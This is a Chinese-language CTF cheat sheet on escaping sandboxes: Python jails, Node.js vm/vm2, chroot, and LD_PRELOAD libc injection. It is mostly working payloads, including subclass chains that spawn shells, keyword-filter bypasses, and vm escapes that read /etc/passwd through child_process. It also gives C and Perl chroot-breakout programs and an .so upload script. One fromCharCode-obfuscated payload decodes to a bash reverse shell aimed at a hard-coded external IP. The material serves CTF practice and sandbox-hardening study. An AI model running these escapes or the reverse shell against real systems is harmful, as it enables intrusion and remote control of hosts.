沙盒逃逸

沙盒逃逸 / 沙箱逃逸

沙箱逃逸,就是在给我们的一个代码执行环境下(Oj或使用socat生成的交互式终端),脱离种种过滤和限制,最终成功拿到shell权限的过程。

Python / Pyjail

内置函数/变量

1
2
3
4
5
6
7
8
9
10
11
12
dir() #不带参数时,返回当前范围内的变量、方法和定义的类型列表;带参数时,返回参数的属性、方法列表
globals() #全局变量
locals() #局部变量
chr()/ord() #字符与ASCII码转换
open() #读文件
input() #输入
__import__() #载入模块
__builtins__ #包含当前运行环境中默认的所有函数与类
__file__ #该变量指示当前运行代码所在路径
__class__ #当前对象所属的类,如''.__class__会返回<class 'str'>
__base__ #当前类的基类,如str.__base__会返回<class 'object'>
__doc__ #类的帮助文档,默认类均有帮助文档

模块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#os
import os
os.system('dir')
os.popen('dir').read()

#platform
import platform
platform.popen('dir').read()
platform.os.system('dir')

#timeit
import timeit
timeit.timeit("__import__('os').system('dir')")

#sys
from sys import modules
modules['os'].system('sh')
modules['posix'].system('sh')

sys._getframe().f_locals.values()

import

1
2
3
4
__import__('os').system('sh')
__builtins__.__dict__['__import__']('os').system('sh')
(lambda: __import__('os').system('sh'))()
(__builtins__:=__import__('os'))and(lambda:system)()('sh')

重载模块 / 重新引入

1
2
3
4
5
6
7
8
9
10
11
#得到完整__builtin__模块
reload(__builtin__)

import imp
imp.reload(__builtin__)

#重新引入os
import sys
sys.modules['os']='/usr/lib/python2.7/os.py'

execfile('/usr/lib/python2.7/os.py')

dis模块解析

1
2
3
4
#dis.code_info限制names数量
__getattribute__ = (None).__getattribute__('__class__');
__getattribute__ = __getattribute__.__getattribute__(__getattribute__, '__base__');
__getattribute__.__getattribute__(__getattribute__.__getattribute__(__getattribute__.__getattribute__(__getattribute__, '__subclasses__')()[84](), 'load_module') ('os'), 'system') ('sh')

函数调用 / 命令执行 / 交互

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#属性/字典
getattr(__import__('os'),'system')('dir')
__import__('os').__getattribute__('system')('dir')
__import__('os').__dict__.__getitem__('system')('dir')

#os._wrap_close类
().__class__.__base__.__subclasses__()[-4].__init__.__globals__['system']('sh')

#object类 - warnings.WarningMessage类
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['os'].__dict__['system']('ls')
().__class__.__base__.__subclasses__()[137].__init__.__globals__['system']("sh")

#help()函数
#参考
#https://cheatsheet.haax.fr/linux-systems/programing-languages/python/#pyjail-generate-a-shell
#https://blog.maple3142.net/2021/07/05/0CTF-2021-quals-writeups/#pypypypy
#https://satoooon1024.hatenablog.com/entry/2021/12/15/SECCON_CTF_2021_Writeup#misc-hitchhike-16-solves
#https://ptr-yudai.hatenablog.com/entry/2021/12/19/232158#Misc-227pts-hitchhike
#http://tttang.com/archive/1428/#toc_0x03-2seccon-2021-hitchhike
help() => os => !sh
help() => __main__
help() => [filename]

#调试器
#pdb模块定义了一个交互式源代码调试器,用于Python程序。它支持在源码行间设置(有条件的)断点和单步执行,检视堆栈帧,列出源码列表,以及在任何堆栈帧的上下文中运行任意Python代码。它还支持事后调试,可以在程序控制下调用。
breakpoint()

#_posixsubprocess.fork_exec
#不同的python版本的_posixsubprocess.fork_exec接受的参数个数不一样
#参考https://ctftime.org/writeup/31883
import os
__loader__.load_module('_posixsubprocess').fork_exec([b"/bin/sh"], [b"/bin/sh"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False, None, None, None, -1, None)

文件读取

1
2
3
4
5
6
open('1.txt').read()

#object类
().__class__.__base__.__subclasses__()[40]("1.txt").read()
().__class__.__bases__[0].__subclasses__()[40]("1.txt").read()
"".__class__.__mro__[-1].__subclasses__()[40]("1.txt").read()

关键字过滤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
'sys'+'tem' => 'system'
'X19pbXBvcnRfXw=='.decode('base64') => '__import__'
''.join(['__imp','ort__']) => '__import__'
'__tropmi__'[::-1] => '__import__'
'__imp'+'ort__' => '__import__'
'__buihf9ns__'.replace('hf9','ldi') => '__buildins__'
dir()[0] => '_'
eval(chr(95)+chr(95)+chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(95)+chr(95)+chr(40)+chr(39)+chr(111)+chr(115)+chr(39)+chr(41)) => __import__("os")
bytes([46, 47, 102, 108, 97, 103]).decode() => './flag'

import codecs
getattr(os,codecs.encode("flfgrz",'rot13'))('ifconfig')

#unicode字符 / Non-ASCII Identifies
# 𝟎𝟏𝟐𝟑𝟒𝟓𝟔𝟕𝟖𝟗𝐚𝐛𝐜𝐝𝐞𝐟𝐠𝐡𝐢𝐣𝐤𝐥𝐦𝐧𝐨𝐩𝐪𝐫𝐬𝐭𝐮𝐯𝐰𝐱𝐲𝐳
# 𝟘𝟙𝟚𝟛𝟜𝟝𝟞𝟟𝟠𝟡𝕒𝕓𝕔𝕕𝕖𝕗𝕘𝕙𝕚𝕛𝕜𝕝𝕞𝕟𝕠𝕡𝕢𝕣𝕤𝕥𝕦𝕧𝕨𝕩𝕪𝕫

#清空
setattr(__import__("__main__"), "blacklist", list())

#过滤eval
exec("import os;os.system('curl xxx')")

#过滤数字
0=False
1=True
2=True+True=True-(-True)
3=True+True+True=True-(-True)-(-True)

#过滤request
#字符串request:
list(globals().keys())[11]
#request值:
globals()[list(globals().keys())[11]]

#过滤引号
chr(123)
str()

#字符串连接
''.join(['a','b'])

#盲注
time.sleep(3) if open('/flag').read()[0]=='c' else 1
flag.index('flag{...')
type(flag.split())(type(flag.split())(flag).pop({..}).encode()).remove({..})

#其他技巧
eval(input())
breakpoint() #调试模式
help()
(lambda:os.system('/bin/sh'))()
(__builtins__:=__import__('os'))and(lambda:system)()('sh') #过滤点
setattr(copyright,'__dict__',globals()),delattr(copyright,'breakpoint'),breakpoint()
[*open("flag"+chr(46)+"txt")] #open未过滤,read过滤
raise Exception(flag) #报错外带

#修饰符
@exec
@input
class A:
pass

注释逃逸

井号

Python 中的编解码器 raw_unicode_escape 允许Python文件解释Unicode编码的字符,使用 raw_unicode_escape 编码器将 \uxxxx 解释成对应的ASCII字符,比如换行符 \u000a ,这样可以在 Python 的注释中隐藏恶意代码。

1
2
3
4
5
#!/usr/bin/env python
# -*- coding: raw_unicode_escape -*-
#\u000aimport os
#\u000aos.system("ls /")
#\u000aos.system("cat /flag")

参考:

[PyJail] python沙箱逃逸探究·总览

三引号

python处理字符串的过程是先用line-delimiter分开 然后每行再视为一个C null-terminated string进行处理。

所以<NUL>字符会影响这一过程 所以我们只需要将 ''' 中的一个 ' 替换为 '\x00\n 即可。

参考:

mishandling of c-strings in parser

NKCTF 2024 - 🐍ex1t

eval变量覆盖

1
2
3
4
5
# a={'test':0} => a={'test':1}
[[str][0]for[a['test']]in[[1]]]

#环境变量
[[str][0]for[os.environ['test']]in[['xxx']]]

node.js

前端

在前端中,可能会使用删除 eval ,重写 Function.prototype.constructor / GeneratorFunction / AsyncFunction 等方式来完成前端的沙箱。在这种情况下,可以使用创建一个新iframe的方式来获取新的执行环境。

服务端

JavaScript提供了原生的vm模块,用于隔离了代码上下文环境。但是在该环境中依然可以访问标准的JavaScript API和全局的NodeJS环境。

在原生的沙箱模块中,常用的逃逸方式为:

1
2
3
4
5
6
7
8
const sandbox = {};
const whatIsThis = vm.runInNewContext(`
const ForeignObject = this.constructor;
const ForeignFunction = ForeignObject.constructor;
const process = ForeignFunction("return process")();
const require = process.mainModule.require;
require("fs");
`, sandbox);

一般来说,在Context下运行的代码应该只属于该隔离环境。然而,this是一个特别的,this指向runInContext(line, context)这一句里的context变量,它属于沙盒外,实际上,它是一个{}

1
2
3
4
5
6
7
8
9
10
11
//列目录
this.constructor.constructor('return this.process.binding')()('fs').readdir('/',function (err, data) {data})

//读文件
this.constructor.constructor("return process")().mainModule.require("fs").readFileSync("/etc/passwd").toString()

//命令执行
" ".toString.constructor("return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()

const {spawnSync} = this.constructor.constructor("return process")().mainModule.require('child_process')
spawnSync('cat /flag', [], {stdio: 'inherit'});

如果this为null,并且也没有其他可以引用的对象,想要逃逸则要用到一个函数中的内置对象的属性arguments.callee.caller,它可以返回函数的调用者。

只要在沙箱内定义一个函数,然后在沙箱外调用这个函数,那么这个函数的arguments.callee.caller就会返回沙箱外的一个对象,在沙箱内就可以进行逃逸。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// 方法1
throw new Proxy({}, { // Proxy 对象⽤于创建对某⼀对象的代理, 以实现属性和⽅法的拦截
get: function(){ // 访问这个对象的任意⼀个属性都会执⾏ get 指向的函数
const c = arguments.callee.caller
const p = (c['constru'+'ctor']['constru'+'ctor']('return pro'+'cess'))()
return p['mainM'+'odule']['requi'+'re']('child_pr'+'ocess')['ex'+'ecSync']('cat
/flag').toString();
}
})

// 方法2
let obj = {} // 针对该对象的 message 属性定义⼀个 getter, 当访问 obj.message 时会调⽤对应的函数
obj.__defineGetter__('message', function(){
const c = arguments.callee.caller
const p = (c['constru'+'ctor']['constru'+'ctor']('return pro'+'cess'))()
return p['mainM'+'odule']['requi'+'re']('child_pr'+'ocess')['ex'+'ecSync']('cat
/flag').toString();
})
throw obj

考虑到JavaScript原生vm模块的缺陷,有开发者设计了vm2来提供一个更安全的隔离环境,但是在旧版本中同样存在一些逃逸方式,例如:

1
2
3
4
5
vm.runInNewContext(
'Promise.resolve().then(()=>{while(1)console.log("foo", Date.now());}); while(1)console.log(Date.now())',
{console:{log(){console.log.apply(console,arguments);}}},
{timeout:5}
);

绕过

  • 点 .

    利用with绕过。

    1
    with(String)with(f=fromCharCode,this)with(constructor)with(constructor(f(r=114,e=101,t=116,117,r,110,32,p=112,r,111,c=99,e,s=115,s))())with(mainModule)with(require(f(c,h=104,105,108,100,95,p,r,111,c,e,s,s)))exec(f(98,97,s,h,32,45,c,32,34,98,97,s,h,32,45,105,32,62,38,32,47,100,e,118,47,t,c,p,47,a=56,b=49,46,54,a,46,b,50,48,46,b,52,47,a,a,a,57,32,48,62,38,b,34))
  • 引号

    使用String的fromCharCode通过ASCII码值构造。

参考

SSTI (Server Side Template Injection)

NodeJS VM和VM2沙箱逃逸

chroot

chroot逃逸的核心是使进程中存在一个文件,处于根目录树之外

参考:I’M IN CHROOT JAIL, GET ME OUT OF HERE!

mount

1
2
3
4
mount /dev/sda1 /tmp
cd /tmp
cd /tmp/bin
./cat /tmp/etc/passwd

/proc

1
2
ls /proc/*/root
cd /proc/[PID]/root

清空env

查看env可以发现,有个奇怪的变量:LD_PRELOAD=libfakechroot.so,它是一个用于在用户权限下更改root目录的工具。

只要把这个环境变量给删掉:env LD_PRELOAD=/bash,就在真正的root中了。

可执行程序

1
2
3
cat << EOF > getmeoutofhere.c
[内容]
EOF
  • C

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    // Shortened version of this:
    // http://www.bpfh.net/simes/computing/chroot-break.html
    #include <stdio.h>
    #include <errno.h>
    #include <fcntl.h>
    #include <string.h>
    #include <unistd.h>
    #include <sys/stat.h>
    #include <sys/types.h>

    int main() {
    int x; /* Used to move up a directory tree */
    int dir_fd; /* File descriptor to directory */
    mkdir("chroot-breakout-dir", 0755);
    dir_fd=open(".", O_RDONLY);
    chroot("chroot-breakout-dir");
    fchdir(dir_fd);
    close(dir_fd);
    for(x = 0; x < 1024; x++) {
    chdir("..");
    }
    chroot(".");
    system("/bin/sh");
    }
  • Perl

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    #!/usr/bin/perl -w
    use strict;
    # unchroot.pl Dec 2007
    # http://pentestmonkey.net/blog/chroot-breakout-perl

    # This script may be used for legal purposes only.

    # Go to the root of the jail
    chdir "/";

    # Open filehandle to root of jail
    opendir JAILROOT, "." or die "ERROR: Couldn't get file handle to root of jailn";

    # Create a subdir, move into it
    mkdir "mysubdir";
    chdir "mysubdir";

    # Lock ourselves in a new jail
    chroot ".";

    # Use our filehandle to get back to the root of the old jail
    chdir(*JAILROOT);

    # Get to the real root
    while ((stat("."))[0] != (stat(".."))[0] or (stat("."))[1] != (stat(".."))[1]) {
    chdir "..";
    }

    # Lock ourselves in real root - so we're not really in a jail at all now
    chroot ".";

    # Start an un-jailed shell
    system("/bin/sh");

libc注入

echo -e 可以写入二进制程序,利用 echo -e 上传so文件。利用elf文件动态加载环境变量更换libc,实现libc注入。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import os
from pwn import *
#context.log_level='debug'
io = remote("xxx",xxx)

b = open("./in.so").read().encode("hex")

c = ""
for i in range(0,len(b),2):
c += '\\x'+b[i]+b[i+1]
payload = 'echo -e "'+c+'"'+'> exp'
print "[+] length: " + hex(len(payload))


io.sendline(payload)
io.sendline("LD_PRELOAD=$PWD/exp /bin/sh")
io.interactive()
1
2
3
4
5
6
7
8
9
10
11
// in.so
#include <stdio.h>
#include<stdlib.h>
#include <sys/stat.h>
int getchar(){
chmod("flag",777);
printf("%s\n", "6666666");

}
#gcc -shared -fPIC in.c -o in.so
#LD_PRELOAD=$PWD/in.so /bin/sh